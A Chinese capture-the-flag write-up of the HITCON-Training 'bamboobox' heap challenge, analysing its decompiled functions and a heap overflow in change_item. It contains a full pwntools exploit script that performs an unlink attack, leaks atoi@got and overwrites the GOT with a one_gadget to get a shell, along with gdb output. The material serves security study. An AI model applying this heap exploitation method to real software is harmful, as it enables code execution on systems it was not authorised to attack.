lab11 bamboobox(unlink攻击)
二进制文件下载:https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab11/bamboobox
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}
分别查看show_item、add_item、change_item和remove_item函数。
根据逻辑,先add_item、然后show_item或change_item,最后看remove_item。
add_item()
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);// &unk_6020c8 = &itemlist + 0x8
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
添加的item数目最多为99,会先读入item name的长度,但是只要不为0就不做限制。看看itemlist和unk_6020c8在bss段的位置:
.bss:00000000006020C0 public itemlist
.bss:00000000006020C0 itemlist db ? ; ; DATA XREF: add_item+A4↑o
.bss:00000000006020C1 db ? ;
.bss:00000000006020C2 db ? ;
.bss:00000000006020C3 db ? ;
.bss:00000000006020C4 db ? ;
.bss:00000000006020C5 db ? ;
.bss:00000000006020C6 db ? ;
.bss:00000000006020C7 db ? ;
.bss:00000000006020C8 unk_6020C8 db ? ;
.bss:00000000006020C9 db ? ;
.bss:00000000006020CA db ? ;
itemlist和unk_6020c8作为起点分别存入item name的长度值和存储item name的堆内存指针,然后给item name补上0。
根据这段代码:
*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
v2的地址= &itemlist + 4 * 4i,第2个4对应DWORD
malloc(v2)指针存放的地址=&unk_6020C8 + 2 * 8i,这里的8对应QWORD
其在bss段的布局如下:
因此item结构体如下:
struct item{
int lenth; //DWORD,占4字节
char name[lenth]; //QWORD,占8字节
}
show_item()
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
}
return puts(byte_401089);
}
按照一定格式打印item的长度和name的字符串值
*((const char **)&unk_6020C8 + 2 * i)
与前面类似,char *
指针是8字节的。
change_item()
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr); // 没有限制长度,读入过多的数据导致堆溢出
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
// 写进去的地址是从bss段取的,这里原本指向的是一个堆内存,可以被unlink操作给修改掉
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
change_item再次读入name的长度却没有限制,于是读入堆内存的数据过多导致堆溢出。
remove_item()
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
free(*((void **)&unk_6020C8 + 2 * v1));
*((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
*((_DWORD *)&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}
这里的free的指针是直接从bss段读取的。
magic()后门函数
地址0x400d49
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}
保护机制
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)
magic = 0x400d49
atoi_got = elf.got["atoi"]
# step 1
#bk(0x0000000000400ADD)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')
# step 2
FD = 0x6020c8 - 3*8
BK = FD + 8
py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK) #0x20
py1 += "a"*0x60
py1 += p64(0x80) + p64(0x90) #0x10
change(0,0x90,py1)
free(1)
# step 3
py2 = ''
py2 += 'a'*24 + p64(atoi_got)
change(0,len(py2),py2)
puts()
# step 4
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf03a4
print "onegadget--->" + hex(onegadget)
change(0,0x10,p64(onegadget))
exit()
p.interactive()
step 1 分配2个内存块
分配两个chunk,大小80(实际会是0x90,超过了fastbin的范围),就可以实现unlink,双向链表才有这个操作,fastbin单向链表所以是没有的unlink的攻击的。
gdb调试如下:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x10f2000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x10f2020
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x10f20b0
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x10f2140
Size: 0x20ec1
查看itemlist:
pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>: 0x0000000000000080 0x00000000010f2030
0x6020d0 <itemlist+16>: 0x0000000000000080 0x00000000010f20c0
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
可以看到,指向chunk中的user data内存的地址正确的存入了itemlist中。
step 2 构造fake chunk,触发unlink
利用change_item()函数去修改我们分配第一个chunk(记作chunk1)的name,内容是一个构造的fake chunk,有四点需注意:
- prev_size=0,因为是紧接着chunk1的chunk头
- size=0x81,即chunk1的size-0x10,这里的0x10是chunk头的长度
- 构造fd和bk,fd = ptr - 0x18, bk = ptr - 0x10,ptr是可读写内存地址,这里选择unk_6020c8的起始地址,即一个存放item的name域指针的地址。
- 覆盖我们分配第二个chunk(记作chunk2)的prev_size和pre_inuse标志位,这里的prev_size=0x80(0x81 & ~0x7),prev_inuse置0
change后,free前
重新执行,地址会有所改变,但过程和结果一致
free后
pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>: 0x0000000000000080 0x00000000006020b0
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
由于unlink触发的漏洞,0x6020c8(ptr)处的值变为了0x6020b0(ptr - 0x18)
step 3 泄露atoi@got地址
在step2,我们修改了item[0]
的name域,使得name指针从原来的指向某个堆内存,变为指向bss段的某个地址——0x6020b0,于是构造字符串进行写入,并再次覆盖item[0]
的name域,使得其值变为atoi@got地址,然后通过show_item函数打印出atoi的真实地址。
pwndbg> x/20gx 0x6020C8 - 0x18
0x6020b0 <stdin@@GLIBC_2.2.5>: 0x6161616161616161 0x6161616161616161
0x6020c0 <itemlist>: 0x6161616161616161 0x0000000000602068
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
step 4 覆写got
上一步泄露除了atoi的真实地址,于是就可以计算出magic的地址。
接着再次改写0x602068处也就是atoi@got的值,再次指向atoi函数时就会转去执行onegadget,进而getshell。
覆写前:
pwndbg> telescope 0x602068
00:0000│ 0x602068 (atoi@got[plt]) —▸ 0x7f4833e36e90 (atoi) ◂— sub rsp, 8
01:0008│ 0x602070 (exit@got[plt]) —▸ 0x400786 (exit@plt+6) ◂— push 0xb /* 'h\x0b' */
02:0010│ 0x602078 (data_start) ◂— 0x0
覆写后:
pwndbg> telescope 0x602068
00:0000│ rdx rsi 0x602068 (atoi@got[plt]) —▸ 0x7f4833ef02a4 (exec_comm.constprop+884) ◂— push 0 /* 'h' */
01:0008│ 0x602070 (exit@got[plt]) —▸ 0x400700 (printf@plt) ◂— jmp qword ptr [rip + 0x20192a]
02:0010│ 0x602078 (data_start) ◂— 0x0
one_gadget地址获取
unlink$ one_gadget /home/zsc/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
总有一个会成功。